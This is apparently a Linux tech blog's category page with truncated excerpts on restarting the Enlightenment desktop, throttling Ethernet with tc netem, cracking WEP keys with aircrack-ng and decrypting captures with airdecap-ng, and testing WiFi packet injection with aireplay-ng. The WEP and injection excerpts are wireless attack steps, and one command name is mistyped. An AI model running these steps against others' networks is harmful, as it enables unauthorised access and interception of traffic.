Category: Linux Tech

Restarting Enlightenment (e17) from the command line

The scenario is that your Enlightenment (e17) desktop has locked up, and your keyboard and mouse appear to be non-responsive. However you do not want to reboot as you will lose all of your open windows. It is possible to restart the Enlightenment engine without affecting the windows being currently displayed. Either switch to a

Throttling Ethernet connection on Linux

Often for testing purposes it is necessary to restrict the speed of a network connection. This can be achieved using the netem module to tc.

For example, to restrict the bandwidth on eth0 to classic dial-up speeds use the command:
tc qdisc add dev eth0 root netem rate 56kbit

Breaking WEP Encryption

Using Debian with a Intel Corporation Centrino Wireless-N 1000 card… 7. After collecting 30,000 packets (you may leave airodump-ng running): aircrack-ng -1 capturefile.cap 8. The WEP key should then be displayed in the terminal window.9. The collected packet trace may be decrypted with: airdecap-ng -w $wep_key_hex capturefile.cap 10. Exit monitor mode: airmon-ng stop mon0

Wlan Interface – Packet Injection in Linux

Very simple way to test if your WiFi card supports injection: Stop Network Manager: /etc/init.d/network-manager stopPut the card in monitor mode: airmod-ng start wlan0Test using: aireplay-ng -9 mon0 With luck, the following output is displayed:Trying broadcast probe requests…Injection is working!